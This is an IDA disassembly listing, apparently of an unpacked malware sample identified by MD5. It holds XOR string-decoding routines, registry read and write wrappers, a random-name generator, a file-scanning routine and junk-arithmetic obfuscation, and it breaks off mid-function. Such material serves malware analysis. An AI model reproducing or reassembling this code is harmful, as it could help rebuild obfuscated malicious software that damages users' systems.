;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	ACE045B78F4A060C6D4743A81E498D22

; File Name   :	u:\work\ace045b78f4a060c6d4743a81e498d22_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0000C000 (  49152.)
; Section size in file		: 0000C000 (  49152.)
; Offset to raw	data for section: 00001000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_text		segment	para public 'DATA' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================



sub_401000	proc near		; DATA XREF: sub_401020+Ao
					; sub_43EFBD+Ao

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		xor	eax, eax
		inc	eax
		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		jz	short locret_40101F
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_40101F:				; CODE XREF: sub_401000+Ej
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401020	proc near		; CODE XREF: sub_40109A+BEp
					; sub_40109A+ECp

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp

loc_40103D:				; CODE XREF: sub_401020+44j
					; sub_401020+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40106C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_40106C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_40103D
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_40103D
; ---------------------------------------------------------------------------

loc_40106C:				; CODE XREF: sub_401020+2Aj
					; sub_401020+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40107A	proc near		; CODE XREF: sub_40109A+B1p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_40C8B4	; RtlUnwind
sub_40107A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401092	proc near		; DATA XREF: sub_40107A+Bo
					; sub_43F017+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_401092	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40109A	proc near		; DATA XREF: sub_401219+10o
					; sub_407E49+Ao ...

var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		cld
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		mov	dword_43C08C, eax
		mov	dword_43C090, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_40117F
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	dword_43C090, eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_4010DD:				; CODE XREF: sub_40109A+DCj
		cmp	esi, 0FFFFFFFFh
		jz	loc_40118E
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_40116D
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword_43C030, eax
		mov	edx, [ebp+var_14]
		mov	eax, [edx]
		mov	dword_43C034, eax
		mov	eax, [edx+4]
		mov	dword_43C038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, dword_43C03C
		mov	esi, dword_43C034
		rep movsd
		lea	edi, dword_43C03C
		mov	dword_43C034, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_40116D
		js	short loc_40117B
		mov	edi, [ebx+8]
		push	ebx
		call	sub_40107A
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_401020
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]

loc_40116D:				; CODE XREF: sub_40109A+54j
					; sub_40109A+A9j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_4010DD
; ---------------------------------------------------------------------------

loc_40117B:				; CODE XREF: sub_40109A+ABj
		xor	eax, eax
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_40117F:				; CODE XREF: sub_40109A+23j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_401020
		add	esp, 0Ch

loc_40118E:				; CODE XREF: sub_40109A+46j
		push	0
		mov	dword_43C010, 0Bh
		push	0Bh
		call	sub_40CC44
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		push	0
		mov	dword_43C010, 8
		push	8
		call	sub_40CC44
		add	esp, 8
		or	eax, eax
		jnz	short loc_4011C9
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_4011C9:				; CODE XREF: sub_40109A+10Cj
					; sub_40109A+126j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4011F8
		push	eax
		push	dword_43C010
		call	sub_40CC44
		add	esp, 8
		push	dword_43C010
		call	sub_40CC2C
		add	esp, 4
		mov	eax, 1

loc_4011F0:				; CODE XREF: sub_40109A+E3j
					; sub_40109A+12Dj ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4011F8:				; CODE XREF: sub_40109A+132j
		cmp	dword_43C02C, 0
		jnz	short loc_401208
		mov	eax, 1
		jmp	short loc_4011F0
; ---------------------------------------------------------------------------

loc_401208:				; CODE XREF: sub_40109A+165j
		mov	eax, dword_43C02C
		push	0Bh
		jmp	eax
sub_40109A	endp

; ---------------------------------------------------------------------------
		pop	eax
		mov	eax, 1
		jmp	short loc_4011F0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401219	proc near		; CODE XREF: start+500j
					; DATA XREF: start:loc_44A4FCo

var_30		= word ptr -30h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43C01C
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	eax
		fnstcw	[esp+30h+var_30]
		or	[esp+30h+var_30], 300h
		fldcw	[esp+30h+var_30]
		add	esp, 4
		push	0
		push	0
		push	offset dword_43C028
		push	offset dword_43C024
		push	offset dword_43C020
		call	sub_40CBCC
		push	dword_43C028
		push	dword_43C024
		push	dword_43C020
		mov	dword_43C014, esp
		call	sub_40C654
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		push	eax
		call	sub_40CBFC
		leave
		retn
sub_401219	endp

; ---------------------------------------------------------------------------
		mov	large fs:0, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40129C	proc near		; CODE XREF: sub_408ED0+23p
					; sub_408ED0+3Fp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_43C09C
		lea	eax, ds:41B7B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_4], 14Bh
		xor	edi, edi
		jmp	short loc_4012E5
; ---------------------------------------------------------------------------

loc_4012CB:				; CODE XREF: sub_40129C+4Bj
		mov	eax, dword_43C09C
		add	eax, edi
		lea	eax, ds:41B7B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D4h
		mov	[eax], dl
		inc	edi

loc_4012E5:				; CODE XREF: sub_40129C+2Dj
		cmp	edi, esi
		jl	short loc_4012CB
		mov	[ebp+var_8], 286h
		mov	eax, dword_43C09C
		add	eax, esi
		mov	byte ptr ds:dword_41B7B0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C09C
		inc	dword_43C09C
		mov	eax, dword_43C09C
		add	eax, 5
		add	eax, esi
		mov	dword_43C09C, eax
		cmp	eax, 0E0Eh
		jle	short loc_40132A
		and	dword_43C09C, 0

loc_40132A:				; CODE XREF: sub_40129C+85j
		mov	[ebp+var_C], 3DBh
		lea	eax, dword_41B7B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_40129C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40133B	proc near		; CODE XREF: sub_408048+118p

var_14C1C	= dword	ptr -14C1Ch
var_14C18	= dword	ptr -14C18h
var_14C14	= dword	ptr -14C14h
var_14C10	= byte ptr -14C10h
var_8		= dword	ptr -8
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		mov	eax, 14C1Ch
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		call	sub_40C734	; GetCurrentProcessId
		mov	eax, dword_43C22C
		mov	[ebp+var_14C18], eax
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000000h
		push	offset dword_40F1E0
		call	sub_40C8CC	; CreateFileA
		mov	esi, eax
		mov	ebx, 1CA5h
		sub	ebx, 77B7h
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40138D
		xor	eax, eax
		jmp	loc_401420
; ---------------------------------------------------------------------------

loc_40138D:				; CODE XREF: sub_40133B+49j
		push	0
		lea	eax, [ebp+var_14C14]
		push	eax
		push	14C08h
		lea	eax, [ebp+var_14C10]
		push	eax
		push	esi
		call	sub_40C8A8	; ReadFile
		mov	[ebp+var_2], 434Fh
		movzx	eax, [ebp+var_2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_2], ax
		push	esi
		call	sub_40C7AC	; CloseHandle
		mov	[ebp+var_8], 67B8h
		mov	eax, 79B5h
		mul	[ebp+var_8]
		mov	[ebp+var_14C1C], eax
		mov	[ebp+var_8], eax
		xor	edi, edi

loc_4013DC:				; CODE XREF: sub_40133B+DCj
		mov	eax, 13h
		sub	eax, dword_43C098
		push	eax
		push	offset byte_433FE0
		lea	eax, [ebp+edi+var_14C10]
		push	eax
		call	sub_40181A
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_401409
		xor	eax, eax
		inc	eax
		jmp	short loc_401420
; ---------------------------------------------------------------------------

loc_401409:				; CODE XREF: sub_40133B+C7j
		call	sub_40C734	; GetCurrentProcessId
		add	edi, 11h
		cmp	edi, [ebp+var_14C14]
		jb	short loc_4013DC
		call	sub_40C7D0	; GetVersion
		xor	eax, eax

loc_401420:				; CODE XREF: sub_40133B+4Dj
					; sub_40133B+CCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40133B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 2A0h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C23C
		lea	eax, ds:41A7F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 2B3h
		xor	edi, edi
		jmp	short loc_401475
; ---------------------------------------------------------------------------

loc_40145B:				; CODE XREF: .text:00401477j
		mov	eax, dword_43C23C
		add	eax, edi
		lea	eax, ds:41A7F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0F6h
		mov	[eax], dl
		inc	edi

loc_401475:				; CODE XREF: .text:00401459j
		cmp	edi, esi
		jl	short loc_40145B
		mov	dword ptr [ebp-0Ch], 25h
		mov	eax, dword_43C23C
		add	eax, esi
		mov	byte ptr ds:dword_41A7F0[eax], 0
		mov	edi, dword_43C23C
		inc	dword_43C23C
		mov	eax, dword_43C23C
		add	eax, 5
		add	eax, esi
		mov	dword_43C23C, eax
		cmp	eax, 0E06h
		jle	short loc_4014B8
		and	dword_43C23C, 0

loc_4014B8:				; CODE XREF: .text:004014AFj
		mov	dword ptr [ebp-10h], 20Bh
		lea	eax, dword_41A7F0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4014C9	proc near		; CODE XREF: sub_4061F7+E1p
					; sub_408B4C+128p ...

var_10		= dword	ptr -10h
var_9		= byte ptr -9
var_8		= dword	ptr -8
var_4		= word ptr -4
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	[ebp+var_4], 19C3h
		sub	[ebp+var_4], 4EAAh
		mov	[ebp+var_1], 19h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_8]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB54	; RegOpenKeyExA
		mov	edi, eax
		mov	esi, 2238h
		mov	eax, 5994h
		mul	esi
		mov	[ebp+var_10], eax
		mov	esi, eax
		or	edi, edi
		jz	short loc_40151F
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------

loc_40151F:				; CODE XREF: sub_4014C9+50j
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB60	; RegQueryValueExA
		mov	edi, eax
		mov	[ebp+var_9], 0B0h
		movzx	eax, [ebp+var_9]
		imul	eax, 38BBh
		mov	[ebp+var_9], al
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		call	sub_40C764	; RtlGetLastWin32Error
		or	edi, edi
		jz	short loc_401562
		xor	eax, eax
		jmp	short loc_40156A
; ---------------------------------------------------------------------------

loc_401562:				; CODE XREF: sub_4014C9+93j
		call	sub_40C764	; RtlGetLastWin32Error
		xor	eax, eax
		inc	eax

loc_40156A:				; CODE XREF: sub_4014C9+54j
					; sub_4014C9+97j
		pop	edi
		pop	esi
		leave
		retn
sub_4014C9	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3A7h
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C248
		lea	eax, ds:4351E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4015B4
; ---------------------------------------------------------------------------

loc_40159D:				; CODE XREF: .text:004015B6j
		mov	eax, dword_43C248
		add	eax, edi
		lea	eax, ds:4351E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 35h
		mov	[eax], dl
		inc	edi

loc_4015B4:				; CODE XREF: .text:0040159Bj
		cmp	edi, esi
		jl	short loc_40159D
		mov	dword ptr [ebp-8], 249h
		mov	eax, dword_43C248
		add	eax, esi
		mov	byte ptr ds:dword_4351E0[eax], 0
		mov	edi, dword_43C248
		mov	eax, edi
		add	eax, 6
		add	eax, esi
		mov	dword_43C248, eax
		inc	dword_43C248
		cmp	dword_43C248, 0DC9h
		jle	short loc_4015F9
		and	dword_43C248, 0

loc_4015F9:				; CODE XREF: .text:004015F0j
		mov	dword ptr [ebp-0Ch], 114h
		lea	eax, dword_4351E0[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40160A	proc near		; CODE XREF: sub_405E88+9Cp
					; sub_405E88+D9p ...

var_10		= dword	ptr -10h
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		call	sub_40C740	; GetCurrentThreadId
		mov	[ebp+var_A], 6A47h
		add	[ebp+var_A], 5A3h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40CB3C	; RegCreateKeyExA
		mov	edi, eax
		call	sub_40C7D0	; GetVersion
		or	edi, edi
		jz	short loc_401651
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------

loc_401651:				; CODE XREF: sub_40160A+41j
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_8]
		call	sub_40CB6C	; RegSetValueExA
		mov	edi, eax
		call	sub_40C734	; GetCurrentProcessId
		push	[ebp+var_8]
		call	sub_40CB48	; RegCloseKey
		mov	[ebp+var_1], 14h
		movzx	eax, [ebp+var_1]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_1], al
		or	edi, edi
		jz	short loc_401694
		xor	eax, eax
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------

loc_401694:				; CODE XREF: sub_40160A+84j
		call	sub_40C740	; GetCurrentThreadId
		cmp	[ebp+var_10], 1
		jnz	short loc_4016A6
		mov	eax, 2
		jmp	short loc_4016AE
; ---------------------------------------------------------------------------

loc_4016A6:				; CODE XREF: sub_40160A+93j
		call	sub_40C7D0	; GetVersion
		xor	eax, eax
		inc	eax

loc_4016AE:				; CODE XREF: sub_40160A+45j
					; sub_40160A+88j ...
		pop	edi
		leave
		retn
sub_40160A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C254
		lea	eax, ds:4383E0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_4016F0
; ---------------------------------------------------------------------------

loc_4016D6:				; CODE XREF: .text:004016F2j
		mov	eax, dword_43C254
		add	eax, edi
		lea	eax, ds:4383E0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 93h
		mov	[eax], dl
		inc	edi

loc_4016F0:				; CODE XREF: .text:004016D4j
		cmp	edi, esi
		jl	short loc_4016D6
		mov	eax, dword_43C254
		add	eax, esi
		mov	byte ptr ds:dword_4383E0[eax], 0
		xor	edi, edi
		mov	edi, dword_43C254
		mov	eax, edi
		add	eax, 4
		add	eax, esi
		mov	dword_43C254, eax
		cmp	eax, 0DEEh
		jle	short loc_401725
		and	dword_43C254, 0

loc_401725:				; CODE XREF: .text:0040171Cj
		lea	eax, dword_4383E0[edi]
		pop	edi
		pop	esi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40172F	proc near		; CODE XREF: sub_4054C8+159p
					; sub_408B4C+74p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C7D0	; GetVersion
		call	sub_40C740	; GetCurrentThreadId
		xor	esi, esi
		jmp	short loc_40176B
; ---------------------------------------------------------------------------

loc_401746:				; CODE XREF: sub_40172F+3Fj
		call	sub_40CC38
		mov	edx, 10624DD3h
		push	ecx
		mov	ecx, eax
		imul	edx
		sar	edx, 7
		sar	ecx, 1Fh
		sub	edx, ecx
		mov	eax, edx
		pop	ecx
		mov	edi, eax
		add	edi, 61h
		mov	edx, edi
		mov	[ebx+esi], dl
		inc	esi

loc_40176B:				; CODE XREF: sub_40172F+15j
		cmp	esi, [ebp+arg_4]
		jl	short loc_401746
		mov	eax, [ebp+arg_4]
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40172F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 12Bh
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C260
		lea	eax, ds:42FB20h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-8], 283h
		xor	edi, edi
		jmp	short loc_4017CB
; ---------------------------------------------------------------------------

loc_4017B4:				; CODE XREF: .text:004017CDj
		mov	eax, dword_43C260
		add	eax, edi
		lea	eax, ds:42FB20h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi

loc_4017CB:				; CODE XREF: .text:004017B2j
		cmp	edi, esi
		jl	short loc_4017B4
		mov	dword ptr [ebp-0Ch], 10Ch
		mov	eax, dword_43C260
		add	eax, esi
		mov	byte ptr ds:dword_42FB20[eax], 0
		xor	edi, edi
		mov	edi, dword_43C260
		add	dword_43C260, 3
		mov	eax, dword_43C260
		lea	eax, [eax+esi+3]
		mov	dword_43C260, eax
		cmp	eax, 0DEDh
		jle	short loc_401810
		and	dword_43C260, 0

loc_401810:				; CODE XREF: .text:00401807j
		lea	eax, dword_42FB20[edi]
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40181A	proc near		; CODE XREF: sub_40133B+BAp
					; sub_40523D:loc_4052A8p ...

var_24		= dword	ptr -24h
var_1E		= byte ptr -1Eh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= dword	ptr -11h
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_D], 0C0h
		sub	[ebp+var_D], 75h
		and	[ebp+var_C], 0
		mov	eax, dword_43C264
		mov	[ebp+var_11], eax
		and	[ebp+var_8], 0
		jmp	loc_4018EA
; ---------------------------------------------------------------------------

loc_401840:				; CODE XREF: sub_40181A+E2j
		call	sub_40C764	; RtlGetLastWin32Error
		and	[ebp+var_4], 0
		mov	[ebp+var_12], 0D8h
		movzx	eax, [ebp+var_12]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_12], al
		xor	ebx, ebx
		jmp	short loc_4018D0
; ---------------------------------------------------------------------------

loc_40185E:				; CODE XREF: sub_40181A+C7j
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+var_8]
		add	eax, ebx
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx+eax]
		mov	edx, [ebp+arg_4]
		movsx	edx, byte ptr [edx+ebx]
		cmp	eax, edx
		jnz	short loc_40187D
		inc	[ebp+var_4]

loc_40187D:				; CODE XREF: sub_40181A+5Ej
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_401885:				; CODE XREF: sub_40181A+70j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_401885
		cmp	[ebp+var_4], eax
		jnz	short loc_4018CF
		call	sub_40C734	; GetCurrentProcessId
		inc	[ebp+var_C]
		mov	[ebp+var_18], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_18]
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_8]
		cmp	[ebp+var_C], eax
		jnz	short loc_4018BE
		mov	eax, [ebp+var_8]
		jmp	short loc_401907
; ---------------------------------------------------------------------------

loc_4018BE:				; CODE XREF: sub_40181A+9Dj
		lea	edi, [ebp+var_1E]
		lea	esi, aO68	; "o6,%8"
		mov	ecx, 3
		rep movsw

loc_4018CF:				; CODE XREF: sub_40181A+75j
		inc	ebx

loc_4018D0:				; CODE XREF: sub_40181A+42j
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_4018D8:				; CODE XREF: sub_40181A+C3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018D8
		cmp	ebx, eax
		jb	loc_40185E
		inc	[ebp+var_8]

loc_4018EA:				; CODE XREF: sub_40181A+21j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh

loc_4018F2:				; CODE XREF: sub_40181A+DDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_4018F2
		cmp	[ebp+var_8], eax
		jb	loc_401840
		mov	eax, 0FFFFh

loc_401907:				; CODE XREF: sub_40181A+A2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40181A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		push	esi
		push	dword ptr [ebp+8]
		mov	eax, dword_43C278
		lea	eax, ds:4166F0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	dword ptr [ebp-4], 2A0h
		xor	edi, edi
		jmp	short loc_401952
; ---------------------------------------------------------------------------

loc_40193B:				; CODE XREF: .text:00401954j
		mov	eax, dword_43C278
		add	eax, edi
		lea	eax, ds:4166F0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 1Bh
		mov	[eax], dl
		inc	edi

loc_401952:				; CODE XREF: .text:00401939j
		cmp	edi, esi
		jl	short loc_40193B
		mov	dword ptr [ebp-8], 29Ch
		mov	eax, dword_43C278
		add	eax, esi
		mov	byte ptr ds:dword_4166F0[eax], 0
		mov	edi, dword_43C278
		mov	eax, edi
		inc	eax
		add	eax, esi
		mov	dword_43C278, eax
		cmp	eax, 0DDFh
		jle	short loc_40198A
		and	dword_43C278, 0

loc_40198A:				; CODE XREF: .text:00401981j
		mov	dword ptr [ebp-0Ch], 0D8h
		lea	eax, dword_4166F0[edi]
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		call	sub_40C7D0	; GetVersion
		lea	edi, [ebp-6]
		lea	esi, aVlvh_	; "vlVh_"
		mov	ecx, 3
		rep movsw
		mov	ebx, [ebp+10h]
		jmp	short loc_4019DB
; ---------------------------------------------------------------------------

loc_4019BE:				; CODE XREF: .text:004019DEj
		mov	eax, [ebp+8]
		movsx	eax, byte ptr [eax+ebx]
		mov	edx, ebx
		sub	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		movsx	edx, byte ptr [ecx+edx]
		cmp	eax, edx
		jz	short loc_4019DA
		xor	eax, eax
		inc	eax
		jmp	short loc_4019E2
; ---------------------------------------------------------------------------

loc_4019DA:				; CODE XREF: .text:004019D3j
		inc	ebx

loc_4019DB:				; CODE XREF: .text:004019BCj
		cmp	ebx, [ebp+14h]
		jl	short loc_4019BE
		xor	eax, eax

loc_4019E2:				; CODE XREF: .text:004019D8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	esi, [ebp+0Ch]
		mov	dword ptr [ebp-4], 3DDh
		push	esi
